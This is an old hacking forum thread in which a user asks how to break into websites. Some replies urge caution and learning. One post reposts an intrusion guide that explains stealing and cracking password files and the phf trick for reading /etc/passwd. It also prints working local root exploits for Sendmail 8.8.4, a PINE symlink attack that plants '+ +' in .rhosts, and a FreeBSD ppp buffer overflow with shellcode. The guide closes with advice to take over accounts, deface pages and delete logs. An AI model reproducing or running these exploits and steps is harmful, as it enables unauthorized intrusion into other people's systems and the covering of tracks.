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Basics for hacking websites? not for use of course


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#1 insu

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Posted 07 January 2003 - 03:12 AM

Help, does anyone know the basics behind finding info out all the way up to taking over websites? basic or hard, or even places that has EASY to read info, i cant stress that enough?
Cheers...

Also, does anyone know about any vunerabilites in Fusetalk 3.0? its used for forums (not this one of course ;) )

-Insu

#2 paracord

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Posted 07 January 2003 - 04:13 AM

<_<

#3 StankDawg

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Posted 07 January 2003 - 10:12 AM

There is no easy trick to hacking websites. That is a myth. You have to understand the website and their structure and look for weaknesses. It is a case-by-case basis. If it were easy enough to have a set of instructions, then everyone would be doing it.

There was a phase during the early years of the web where many sites (mostly pr0n sites) would use the same hashing algorithm to authenticate users. Or they used a simple non-encrypted database to store users and passwords. In these cases, hackers wrote tools to do simple lookups or even ADDS to the database to allow access. This was an app you would download and it would work on those sites that used that SPECIFIC type of database or algorithm.

Obviously, the pr0n companies put a stop to this quickly. Now most sites are different or use more secured systems so that there are no "magic" tools to hack any web site. You may get extremely lucky and find some moron who is running an old setup that these may still work on, but that is doubtful. If you want in, you will have to find a backdoor and it will onnly work on that particular system in most cases.

For one sample of basics, try my article on basic directory transversal at http://www.stankdawg.com/articles/

#4 StankDawg

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Posted 07 January 2003 - 10:15 AM

as far as fusetalk, there is a known vulnerability regarding "Cross Site Scripting Vulnerability" that can be found on sites www.securityfocus.com or www.bugtraq.com or others.

Have phun!

#5 Zapperlink

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Posted 07 January 2003 - 10:39 AM

I must first ask why you want to hack into a website. Ask yourself what your real reason is. Keep in mind you dont want to lie to me or yourself saying its to do something good or what your doing is right. If you really have a valuable reason to be testing the security on the website then there are a few things that you need to keep in mind before one can actually even begin explaining the common practice of auditing a webserver. First off what type of server is it running? What type of services does it offer? Most importantly what Platform is it running on! these are things you need to think about before even considering the audit.

#6 hacnslash

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Posted 07 January 2003 - 09:29 PM

This is a phile ive had for some time, and i have no idea if the stuff in there is what you're looking for. I haven't really been interested in site hacking so i don't think ive even read this phile so far, im gonna read it tonight...


Hacking Webpages

The Ultimate Guide

By Virtual Circuit and Psychotic





Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.



Getting the Password File Through FTP



Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...



root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh



This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.



root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp



This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:



root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false



Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.



Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.



Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.





The PHF Technique



Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.



The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:



http://webpage_goes_.....t /etc/passwd



You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:



http://www.webpage.c.....t /etc/passwd


and that's it! You just sit back and copy the file(if it works).





Telnet and Exploits



Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

Itís best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. Iím going to list a few below but the list of exploits is endless.



This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:



cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi





and now on to another exploit. Iím going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting

the respective lockfile.



Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.



This was writen by Sean B. HamorÖFor this example, hamors is the victim while catluvr is the attacker:



hamors (21 19:04) litterbox:~> pine



catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine



catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4



catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine



catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4



hamors (23 19:09) litterbox:~> pine



catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine



catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4



catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +



catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4



catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors



now on to another one, this will be the last one that Iím going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:


#include
#include
#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload your pages, delete all the logs and just plain do your worst

J Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~

#7 Bi0s

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Posted 07 January 2003 - 09:57 PM

you should also note: many websites LOG IP's.
I do :)

and for gods sake, do some research. find out what OS the server is running first. it will save you a ton of time

#8 insu

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Posted 07 January 2003 - 11:57 PM

Yeah, see i did ipt n shit at school, but i found it boring so i quit before we did any sorta java, or web based stuff. Before that i did some 'hacking' as it would be, but hacking into a network or someones personal computer seems A HELL OF ALOT EASIER now.
I remember the day when all you had to do was send someone the sub7 server file, n that was the end of them :)
Oh, it may be easier and a cheaters way of doing it, but it was phun :)

#9 feend

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Posted 08 January 2003 - 12:30 AM

In all fairness I wouldn't consider that hacking.

I don't want to lecture you and I'm sure you don't want me to either. Please don't do anything to someone's machine that you wouldn't want done to yours.

#10 holy_handgrenade

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Posted 08 January 2003 - 05:16 AM

Instead of asking "how can I hack this", you should be asking "how can I learn more about this". [edit] my bad, I read something while half asleep and responded to it, you did ask for info to learn about it, not just how to do it [/edit]

Hacking is more of a state of constant learning and testing - if you know rather intimately how something works you can spot back end weaknesses or even just plain ol' phuck ups.

To hack websites, I suggest learning about PHP, Java, Javascript, IIS, Apache, CGI, Pearl, SQL, Oracle, and other web technologies. Sounds a bit overwhelming, eh? You're never going to read a magic text file or guide and be able to hack any website. Granted I haven't read too much of the file posted above, that's due to laziness (it's a bit long :) )

In most cases in the process of learning these technologies there will be "security hints" or "common mistakes" sections which you'd be surprised how often they work. The key here is to learn about what you're doing, hacking will come second nature if it's in your nature.

I also agree with Zapper and Bi0s, please be careful of what you're doing and who you're doing it to. Weblogs keep very detailed info about your info, and some of the more comercial sites may even drop cookies that can retrieve more info than just your IP - not something to do haphazardly or with malice in mind.

I hope this helps you, and happy learning.

[edit]
Sorry about the preaching. Here's some excellent sites to get started though.

www.devshed.com - web developing articles and forums includes Apache, IIS, PHP, MySQL, Oracle, Java, C++, CGI etc.

www.phpbuilder.com - php based articles and forums

www.mysql.com - mysql main website - online documentation and limited tutorials

www.webmonkey.com More design - includes HTML and written in easy to understand language - owned by Hotwired/Lycos
[/edit]

#11 Bi0s

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Posted 08 January 2003 - 10:06 PM

In all fairness I wouldn't consider that hacking.

I don't want to lecture you and I'm sure you don't want me to either. Please don't do anything to someone's machine that you wouldn't want done to yours.

exactly. very good point.




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